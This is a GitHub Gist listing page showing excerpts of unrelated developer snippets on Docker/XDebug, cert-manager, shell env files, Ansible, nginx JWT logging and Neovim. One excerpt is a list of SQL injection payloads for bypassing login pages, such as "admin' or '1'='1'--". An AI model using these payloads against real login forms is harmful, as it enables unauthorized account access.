Skip to content

Instantly share code, notes, and snippets.

@megahirt
megahirt / Docker with XDebug.md
Last active March 28, 2025 09:03
Debugging PHP with XDebug v3 inside Docker using VSCode

Debugging PHP with XDebug v3 inside Docker using VSCode

Assumptions / Prerequisites

  • XDebug v3+ inside Docker (e.g. php:7.3-apache Docker image)
  • Running Docker v20.10+
  • VSCode with PHP Debug Extension (Felix Becker)
  • Using Docker Compose for orchestration

Objective

@jakexks
jakexks / cert-manager-test.sh
Last active September 29, 2024 17:48
Cert-manager selfsigned as cluster issuer
#!/usr/bin/env bash
set -ex
export TEST_CLUSTER_NAME=quick-test
export CERT_MANAGER_VERSION=v1.3.1
export KIND_IMAGE=kindest/node:v1.20.2
# Create test cluster
echo "Creating test cluster..."
kind create cluster --name="$TEST_CLUSTER_NAME" --image="$KIND_IMAGE"
until kubectl --timeout=120s wait --for=condition=Ready pods --all --namespace kube-system; do sleep 1; done
@nikoheikkila
nikoheikkila / README.md
Last active April 14, 2025 12:54
Fish Shell function for sourcing standard .env files

envsource

⚠️ NOTE (20.5.2023): I don't really use this function at all anymore since there are now tools such as Taskfile, which reads the .env file for me sparing me the need to pollute my session with environment variables.


I've been using Fish shell for years which is great and all, but one thing that has got me frustrated is using it with .env files.

When attempting to run source .env in a project, I usually encounter this problem:

@rootsploit
rootsploit / SQLi-login-bypass.txt
Created January 25, 2021 16:51
SQL Injection Payloads to Bypass Login Page
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
@kieranbarker
kieranbarker / serializeJSON.js
Last active May 25, 2023 11:15
Serialize all form data into a JSON string
/**
* Serialize all form data into a JSON string.
* https://gist.github.com/kieranbarker/98f8dadbf824236e42820419b1da58eb
* @param {HTMLFormElement} form The form to serialize.
* @returns {string} The serialized form data.
*/
function serializeJSON (form) {
// Create a new FormData object
const formData = new FormData(form);
@thejhh
thejhh / InstallWp.ts
Last active November 23, 2024 12:08
Example how to write Ansible playbooks in TypeScript
// Copyright (c) 2020 Sendanor. All rights reserved.
import Ansible, {AnsibleTask as Task} from "../utils/Ansible";
import Build from "../utils/Build";
import Tag from "../types/Tag";
import Play from "../types/Play";
import {FileTaskState} from "../types/FileTask";
enum InstallWpVariable {
@devdrops
devdrops / text.md
Created October 9, 2020 19:11
TF Diff - Checando diferenças nos arquivos terraform

TF Diff - Checando diferenças nos arquivos terraform

Trabalha com Terraform?

Costuma reforçar o uso de terraform fmt nos Pull Requests do seu time?

Cansou de validar se os arquivos do Pull Request seguem corretamenta a sintaxe?

@vanch
vanch / nginx.conf
Last active May 16, 2023 13:11
Nginx perl JWT claim logging
load_module "modules/ngx_http_perl_module.so";
http {
perl_modules perl/lib;
perl_set $jwt_value "sub {
use strict;
use warnings;
my $r = shift;
my $jwt = $r->header_in('Authorization');
@fhdalikhan
fhdalikhan / Dockerfile
Last active March 23, 2025 08:56
Dockerfile for PHP 7.4 FPM Alpine
FROM php:7.4-fpm-alpine
WORKDIR /var/www/html
# Setup GD extension
RUN apk add --no-cache \
freetype \
libjpeg-turbo \
libpng \
freetype-dev \
@erickpatrick
erickpatrick / init.vim
Last active September 10, 2024 15:30
Neovim CoC Intelephense configuration
" TODO: split up config into multiple files
" source $HOME/.config/nvim/vim-plug/plugins.vim
" source $HOME/.config/nvim/<category>/<sub-category-filename>.vim
" source $HOME/.config/nvim/<plug-config>/<plugin-name>.vim
set nocompatible
filetype off
if empty(glob('~/.vim/autoload/plug.vim'))
silent !curl -fLo ~/.vim/autoload/plug.vim --create-dirs